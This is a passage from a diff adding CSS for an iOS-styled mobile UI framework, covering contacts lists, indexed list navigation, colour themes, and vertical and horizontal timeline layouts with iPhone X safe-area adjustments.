url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +/* === Contacts === */ +.contacts-list .list-group:first-child ul:before { + display: none !important; +} +.contacts-list .list-group:last-child ul:after { + display: none !important; +} +.ios .contacts-list { + margin: 0; +} +.ios .contacts-list .list-group-title { + padding: 0 15px; + background: #f7f7f7; + color: #000; + font-weight: 600; + line-height: 22px; + height: 22px; +} +.ios .theme-dark .contacts-list .list-group-title, +.contacts-list.ios .theme-dark .list-group-title { + background-color: #111; + color: #fff; +} +/* === Virtual List === */ +/* === Indexed List === */ +.list-index { + position: absolute; + top: 0; + bottom: 0; + right: 0; + text-align: center; + z-index: 10; + width: 16px; + cursor: pointer; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.list-index:before { + content: ''; + position: absolute; + width: 20px; + top: 0; + right: 100%; + height: 100%; +} +.list-index ul { + font-size: 11px; + font-weight: 600; + list-style: none; + margin: 0; + padding: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + height: 100%; + width: 100%; + position: relative; +} +.list-index li { + margin: 0; + padding: 0; + list-style: none; + position: relative; + height: 14px; + line-height: 14px; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: block; + width: 100%; +} +.list-index .list-index-skip-placeholder:after { + content: ''; + position: absolute; + left: 50%; + top: 50%; + border-radius: 50%; +} +.list-index .list-index-label { + position: absolute; + bottom: 0; + right: 100%; + text-align: center; + border-radius: 50%; + color: #fff; + font-weight: 500; +} +.ios .list-index ul { + color: #007aff; +} +.ios .list-index .list-index-skip-placeholder:after { + content: ''; + width: 6px; + height: 6px; + margin-left: -3px; + margin-top: -3px; + background: #007aff; +} +.ios .list-index .list-index-label { + margin-bottom: -22px; + margin-right: 15px; + width: 44px; + height: 44px; + line-height: 44px; + border-radius: 50%; + background: #007aff; + font-size: 17px; +} +.ios .list-index .list-index-label:before { + position: absolute; + width: 100%; + height: 100%; + border-radius: 50% 0% 50% 50%; + content: ''; + background-color: inherit; + left: 0; + top: 0; + -webkit-transform: rotate(45deg); + transform: rotate(45deg); + z-index: -1; +} +.ios .navbar ~ .page > .list-index, +.ios .navbar ~ .list-index { + top: 44px; +} +.ios .toolbar ~ .page > .list-index, +.ios .toolbar ~ * .page > .list-index, +.ios .toolbar ~ .list-index { + bottom: 44px; +} +.ios .tabbar-labels ~ .page > .list-index, +.ios .tabbar-labels ~ * .page > .list-index, +.ios .tabbar-labels ~ .list-index { + bottom: 50px; +} +@media (min-width: 768px) { + .ios .tabbar-labels ~ .page > .list-index, + .ios .tabbar-labels ~ * .page > .list-index, + .ios .tabbar-labels ~ .list-index { + bottom: 56px; + } +} +.ios.device-iphone-x .toolbar ~ .page > .list-index, +.ios.device-iphone-x .toolbar ~ * .page > .list-index, +.ios.device-iphone-x .toolbar ~ .list-index { + bottom: calc(44px + constant(safe-area-inset-bottom)); + bottom: calc(44px + env(safe-area-inset-bottom)); +} +.ios.device-iphone-x .tabbar-labels ~ .page > .list-index, +.ios.device-iphone-x .tabbar-labels ~ * .page > .list-index, +.ios.device-iphone-x .tabbar-labels ~ .list-index { + bottom: calc(50px + constant(safe-area-inset-bottom)); + bottom: calc(50px + env(safe-area-inset-bottom)); +} +@media (min-width: 768px) { + .ios.device-iphone-x .tabbar-labels ~ .page > .list-index, + .ios.device-iphone-x .tabbar-labels ~ * .page > .list-index, + .ios.device-iphone-x .tabbar-labels ~ .list-index { + bottom: calc(56px + constant(safe-area-inset-bottom)); + bottom: calc(56px + env(safe-area-inset-bottom)); + } +} +.ios .color-theme-red .list-index ul, +.ios .list-index.color-theme-red ul { + color: #ff3b30; +} +.ios .color-theme-red .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-red .list-index-skip-placeholder:after, +.ios .color-theme-red .list-index .list-index-label, +.ios .list-index.color-theme-red .list-index-label { + background-color: #ff3b30; +} +.ios .color-theme-green .list-index ul, +.ios .list-index.color-theme-green ul { + color: #4cd964; +} +.ios .color-theme-green .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-green .list-index-skip-placeholder:after, +.ios .color-theme-green .list-index .list-index-label, +.ios .list-index.color-theme-green .list-index-label { + background-color: #4cd964; +} +.ios .color-theme-blue .list-index ul, +.ios .list-index.color-theme-blue ul { + color: #007aff; +} +.ios .color-theme-blue .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-blue .list-index-skip-placeholder:after, +.ios .color-theme-blue .list-index .list-index-label, +.ios .list-index.color-theme-blue .list-index-label { + background-color: #007aff; +} +.ios .color-theme-pink .list-index ul, +.ios .list-index.color-theme-pink ul { + color: #ff2d55; +} +.ios .color-theme-pink .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-pink .list-index-skip-placeholder:after, +.ios .color-theme-pink .list-index .list-index-label, +.ios .list-index.color-theme-pink .list-index-label { + background-color: #ff2d55; +} +.ios .color-theme-yellow .list-index ul, +.ios .list-index.color-theme-yellow ul { + color: #ffcc00; +} +.ios .color-theme-yellow .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-yellow .list-index-skip-placeholder:after, +.ios .color-theme-yellow .list-index .list-index-label, +.ios .list-index.color-theme-yellow .list-index-label { + background-color: #ffcc00; +} +.ios .color-theme-orange .list-index ul, +.ios .list-index.color-theme-orange ul { + color: #ff9500; +} +.ios .color-theme-orange .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-orange .list-index-skip-placeholder:after, +.ios .color-theme-orange .list-index .list-index-label, +.ios .list-index.color-theme-orange .list-index-label { + background-color: #ff9500; +} +.ios .color-theme-gray .list-index ul, +.ios .list-index.color-theme-gray ul { + color: #8e8e93; +} +.ios .color-theme-gray .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-gray .list-index-skip-placeholder:after, +.ios .color-theme-gray .list-index .list-index-label, +.ios .list-index.color-theme-gray .list-index-label { + background-color: #8e8e93; +} +.ios .color-theme-white .list-index ul, +.ios .list-index.color-theme-white ul { + color: #ffffff; +} +.ios .color-theme-white .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-white .list-index-skip-placeholder:after, +.ios .color-theme-white .list-index .list-index-label, +.ios .list-index.color-theme-white .list-index-label { + background-color: #ffffff; +} +.ios .color-theme-black .list-index ul, +.ios .list-index.color-theme-black ul { + color: #000000; +} +.ios .color-theme-black .list-index .list-index-skip-placeholder:after, +.ios .list-index.color-theme-black .list-index-skip-placeholder:after, +.ios .color-theme-black .list-index .list-index-label, +.ios .list-index.color-theme-black .list-index-label { + background-color: #000000; +} +.ios .list-index.color-red ul { + color: #ff3b30; +} +.ios .list-index.color-red .list-index-skip-placeholder:after, +.ios .list-index.color-red .list-index-label { + background-color: #ff3b30; +} +.ios .list-index.color-green ul { + color: #4cd964; +} +.ios .list-index.color-green .list-index-skip-placeholder:after, +.ios .list-index.color-green .list-index-label { + background-color: #4cd964; +} +.ios .list-index.color-blue ul { + color: #007aff; +} +.ios .list-index.color-blue .list-index-skip-placeholder:after, +.ios .list-index.color-blue .list-index-label { + background-color: #007aff; +} +.ios .list-index.color-pink ul { + color: #ff2d55; +} +.ios .list-index.color-pink .list-index-skip-placeholder:after, +.ios .list-index.color-pink .list-index-label { + background-color: #ff2d55; +} +.ios .list-index.color-yellow ul { + color: #ffcc00; +} +.ios .list-index.color-yellow .list-index-skip-placeholder:after, +.ios .list-index.color-yellow .list-index-label { + background-color: #ffcc00; +} +.ios .list-index.color-orange ul { + color: #ff9500; +} +.ios .list-index.color-orange .list-index-skip-placeholder:after, +.ios .list-index.color-orange .list-index-label { + background-color: #ff9500; +} +.ios .list-index.color-gray ul { + color: #8e8e93; +} +.ios .list-index.color-gray .list-index-skip-placeholder:after, +.ios .list-index.color-gray .list-index-label { + background-color: #8e8e93; +} +.ios .list-index.color-white ul { + color: #ffffff; +} +.ios .list-index.color-white .list-index-skip-placeholder:after, +.ios .list-index.color-white .list-index-label { + background-color: #ffffff; +} +.ios .list-index.color-black ul { + color: #000000; +} +.ios .list-index.color-black .list-index-skip-placeholder:after, +.ios .list-index.color-black .list-index-label { + background-color: #000000; +} +/* === Timeline === */ +.timeline { + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.block-strong .timeline { + padding: 0; + margin: 0; +} +.timeline-item { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; +} +.timeline-item-date { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + width: 50px; + text-align: right; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.timeline-item-date small { + font-size: 10px; +} +.timeline-item-content { + margin: 2px; + min-width: 0; + position: relative; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; +} +.timeline-item-content p:first-child, +.timeline-item-content ul:first-child, +.timeline-item-content ol:first-child, +.timeline-item-content h1:first-child, +.timeline-item-content h2:first-child, +.timeline-item-content h3:first-child, +.timeline-item-content h4:first-child { + margin-top: 0; +} +.timeline-item-content p:last-child, +.timeline-item-content ul:last-child, +.timeline-item-content ol:last-child, +.timeline-item-content h1:last-child, +.timeline-item-content h2:last-child, +.timeline-item-content h3:last-child, +.timeline-item-content h4:last-child { + margin-bottom: 0; +} +.timeline-item-inner { + background: #fff; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.timeline-item-inner .block { + padding: 0; + color: inherit; +} +.timeline-item-inner .block-strong { + padding-left: 0; + padding-right: 0; + margin: 0; +} +.timeline-item-inner .block-strong:before { + display: none !important; +} +.timeline-item-inner .block-strong:after { + display: none !important; +} +.timeline-item-inner .list ul:before { + display: none !important; +} +.timeline-item-inner .list ul:after { + display: none !important; +} +.timeline-item-divider { + width: 1px; + position: relative; + width: 10px; + height: 10px; + background: #bbb; + border-radius: 50%; + margin-top: 3px; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.timeline-item-divider:after, +.timeline-item-divider:before { + content: ' '; + width: 1px; + height: 100vh; + position: absolute; + left: 50%; + background: inherit; + -webkit-transform: translate3d(-50%, 0, 0); + transform: translate3d(-50%, 0, 0); +} +.timeline-item-divider:after { + top: 100%; +} +.timeline-item-divider:before { + bottom: 100%; +} +.timeline-item:last-child .timeline-item-divider:after { + display: none; +} +.timeline-item:first-child .timeline-item-divider:before { + display: none; +} +.timeline-item-time { + font-size: 13px; +} +.timeline-item-time:first-child, +.timeline-item-time:last-child { + margin-top: 0; +} +.timeline-item-title + .timeline-item-time { + margin-top: 0; +} +.timeline-horizontal { + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.timeline-horizontal .timeline-item { + display: block; + width: 33.33333333vw; + margin: 0; + padding: 0; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + position: relative; + height: 100%; +} +.timeline-horizontal .timeline-item-date { + width: auto; + text-align: left; + line-height: 34px; + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 34px; + text-align: right; +} +.timeline-horizontal .timeline-item-content { + overflow: auto; + -webkit-overflow-scrolling: touch; + margin: 0; +} +.timeline-horizontal .timeline-item-divider { + display: none; +} +.timeline-horizontal.col-100 .timeline-item { + width: 100vw; +} +.timeline-horizontal.col-95 .timeline-item { + width: 95vw; +} +.timeline-horizontal.col-90 .timeline-item { + width: 90vw; +} +.timeline-horizontal.col-85 .timeline-item { + width: 85vw; +} +.timeline-horizontal.col-80 .timeline-item { + width: 80vw; +} +.timeline-horizontal.col-75 .timeline-item { + width: 75vw; +} +.timeline-horizontal.col-70 .timeline-item { + width: 70vw; +} +.timeline-horizontal.col-66 .timeline-item { + width: 66.66666666666666vw; +} +.timeline-horizontal.col-65 .timeline-item { + width: 65vw; +} +.timeline-horizontal.col-60 .timeline-item { + width: 60vw; +} +.timeline-horizontal.col-55 .timeline-item { + width: 55vw; +} +.timeline-horizontal.col-50 .timeline-item { + width: 50vw; +} +.timeline-horizontal.col-45 .timeline-item { + width: 45vw; +} +.timeline-horizontal.col-40 .timeline-item { + width: 40vw; +} +.timeline-horizontal.col-35 .timeline-item { + width: 35vw; +} +.timeline-horizontal.col-33 .timeline-item { + width: 33.333333333333336vw; +} +.timeline-horizontal.col-30 .timeline-item { + width: 30vw; +} +.timeline-horizontal.col-25 .timeline-item { + width: 25vw; +} +.timeline-horizontal.col-20 .timeline-item { + width: 20vw; +} +.timeline-horizontal.col-15 .timeline-item { + width: 15vw; +} +.timeline-horizontal.col-10 .timeline-item { + width: 10vw; +} +.timeline-horizontal.col-5 .timeline-item { + width: 5vw; +} +@media (min-width: 768px) { + .timeline-horizontal.tablet-100 .timeline-item { + width: 100vw; + } + .timeline-horizontal.tablet-95 .timeline-item { + width: 95vw; + } + .timeline-horizontal.tablet-90 .timeline-item { + width: 90vw; + } + .timeline-horizontal.tablet-85 .timeline-item { + width: 85vw; + } + .timeline-horizontal.tablet-80 .timeline-item { + width: 80vw; + } + .timeline-horizontal.tablet-75 .timeline-item { + width: 75vw; + } + .timeline-horizontal.tablet-70 .timeline-item { + width: 70vw; + } + .timeline-horizontal.tablet-66 .timeline-item { + width: 66.66666666666666vw; + } + .timeline-horizontal.tablet-65 .timeline-item { + width: 65vw; + } + .timeline-horizontal.tablet-60 .timeline-item { + width: 60vw; + } + .timeline-horizontal.tablet-55 .timeline-item { + width: 55vw; + } + .timeline-horizontal.tablet-50 .timeline-item { + width: 50vw; + } + .timeline-horizontal.tablet-45 .timeline-item { + width: 45vw; + } + .timeline-horizontal.tablet-40 .timeline-item { + width: 40vw; + } + .timeline-horizontal.tablet-35 .timeline-item { + width: 35vw; + } + .timeline-horizontal.tablet-33 .timeline-item { + width: 33.333333333333336vw; + } + .timeline-horizontal.tablet-30 .timeline-item { + width: 30vw; + } + .timeline-horizontal.tablet-25 .timeline-item { + width: 25vw; + } + .timeline-horizontal.tablet-20 .timeline-item { + width: 20vw; + } + .timeline-horizontal.tablet-15 .timeline-item { + width: 15vw; + } + .timeline-horizontal.tablet-10 .timeline-item { + width: 10vw; + } + .timeline-horizontal.tablet-5 .timeline-item { + width: 5vw; + } +} +.timeline-horizontal .timeline-year, +.timeline-horizontal .timeline-month { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + padding-top: 24px; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + height: 100%; +} +.timeline-horizontal .timeline-year-title, +.timeline-horizontal .timeline-month-title { + position: absolute; + left: 0; + top: 0; + width: 100%; + line-height: 24px; + height: 24px; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.timeline-horizontal .timeline-year-title span, +.timeline-horizontal .timeline-month-title span { + display: inline-block; + position: -webkit-sticky; + position: sticky; +} +.timeline-horizontal .timeline-year-title { + font-size: 16px; +} +.timeline-horizontal .timeline-month-title span { + margin-top: -2px; +} +/* === Timeline iOS === */ +.ios .timeline { + margin: 35px 0; + padding: 0 15px; +} +.ios .block-strong .timeline { + padding: 0; + margin: 0; +} +.ios .timeline-item { + padding: 2px 0px 15px; +} +.ios .timeline-item:last-child { + padding-bottom: 2px; +} +.ios .timeline-item-content .card, +.ios .timeline-item-content.card, +.ios .timeline-item-content .list, +.ios .timeline-item-content.list, +.ios .timeline-item-content .block, +.ios .timeline-item-content.block { + margin: 0; + width: 100%; +} +.ios .timeline-item-content .card + .card, +.ios .timeline-item-content .list + .card, +.ios .timeline-item-content .block + .card, +.ios .timeline-item-content .card + .list, +.ios .timeline-item-content .list + .list, +.ios .timeline-item-content .block + .list, +.ios .timeline-item-content .card + .block, +.ios .timeline-item-content .list + .block, +.ios .timeline-item-content .block + .block { + margin: 15px 0 0; +} +.ios .timeline-item-inner { + border-radius: 7px; + padding: 8px 15px; +} +.ios .timeline-item-inner + .timeline-item-inner { + margin-top: 15px; +} +.ios .block-strong .timeline-item-inner { + border-radius: 3px; + border: 1px solid rgba(0, 0, 0, 0.1); +} +.ios .timeline-item-divider { + margin-left: 15px; + margin-right: 15px; +} +.ios .timeline-item-time { + margin-top: 15px; + color: #6d6d72; +} +.ios .timeline-item-time:first-child, +.ios .timeline-item-time:last-child { + margin-top: 0; +} +.ios .timeline-item-title { + font-size: 17px; + font-weight: 600; +} +.ios .timeline-item-subtitle { + font-size: 15px; +} +.ios .timeline-sides .timeline-item { + margin-right: calc(50% - (30px + 10px) / 2 - 50px); + margin-left: 0; +} +.ios .timeline-sides .timeline-item .timeline-item-date { + text-align: left; +} +.ios .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-left: calc(50% - (30px + 10px) / 2 - 50px); + margin-right: 0; +} +.ios .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date { + text-align: right; +} +.ios .timeline-sides .timeline-item-left { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-left: calc(50% - (30px + 10px) / 2 - 50px); + margin-right: 0; +} +.ios .timeline-sides .timeline-item-left .timeline-item-date { + text-align: right; +} +.ios .timeline-sides .timeline-item-right { + margin-right: calc(50% - (30px + 10px) / 2 - 50px); + margin-left: 0; +} +.ios .timeline-sides .timeline-item-right .timeline-item-date { + text-align: left; +} +@media (min-width: 768px) { + .ios .tablet-sides .timeline-item { + margin-right: calc(50% - (30px + 10px) / 2 - 50px); + margin-left: 0; + } + .ios .tablet-sides .timeline-item .timeline-item-date { + text-align: left; + } + .ios .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-left: calc(50% - (30px + 10px) / 2 - 50px); + margin-right: 0; + } + .ios .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date { + text-align: right; + } + .ios .tablet-sides .timeline-item-left { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-left: calc(50% - (30px + 10px) / 2 - 50px); + margin-right: 0; + } + .ios .tablet-sides .timeline-item-left .timeline-item-date { + text-align: right; + } + .ios .tablet-sides .timeline-item-right { + margin-right: calc(50% - (30px + 10px) / 2 - 50px); + margin-left: 0; + } + .ios .tablet-sides .timeline-item-right .timeline-item-date { + text-align: left; + } +} +.ios .timeline-horizontal { + padding: 0; + margin: 0; +} +.ios .timeline-horizontal .timeline-item { + padding-top: 34px !important; + padding-bottom: 10px; +} +.ios .timeline-horizontal > .timeline-item:last-child:after, +.ios .timeline-horizontal .timeline-month:last-child .timeline-item:last-child:after { + display: none !important; +} +.ios .timeline-horizontal .timeline-item-date { + background: #f7f7f8; + padding: 0px 10px; +} +.ios .timeline-horizontal .timeline-item-content { + padding: 10px; + height: calc(100% - 10px); +} +.ios .timeline-horizontal .timeline-item-date:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-item-date:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-item-date:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .timeline-horizontal .timeline-month .timeline-item:before { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-month .timeline-item:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-month .timeline-item:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .timeline-horizontal .timeline-item:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: 0; + bottom: auto; + left: auto; + width: 1px; + height: 100%; + -webkit-transform-origin: 100% 50%; + transform-origin: 100% 50%; +} +.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-item:after { + -webkit-transform: scaleX(0.5); + transform: scaleX(0.5); +} +.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-item:after { + -webkit-transform: scaleX(0.33); + transform: scaleX(0.33); +} +.ios .timeline-horizontal .timeline-year:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: 0; + bottom: auto; + left: auto; + width: 1px; + height: 100%; + -webkit-transform-origin: 100% 50%; + transform-origin: 100% 50%; +} +.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-year:after { + -webkit-transform: scaleX(0.5); + transform: scaleX(0.5); +} +.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-year:after { + -webkit-transform: scaleX(0.33); + transform: scaleX(0.33); +} +.ios .timeline-year:last-child:after { + display: none !important; +} +.ios .timeline-year-title, +.ios .timeline-month-title { + padding: 0 10px; + background: #f7f7f8; +} +.ios .timeline-year-title span, +.ios .timeline-month-title span { + right: 10px; +} +.ios .timeline-year-title span { + margin-top: 3px; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span { + left: calc(10px + constant(safe-area-inset-left)); + left: calc(10px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title { + left: -44px; + right: 0; + width: auto; + } + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .ios.device-iphone-x .popup 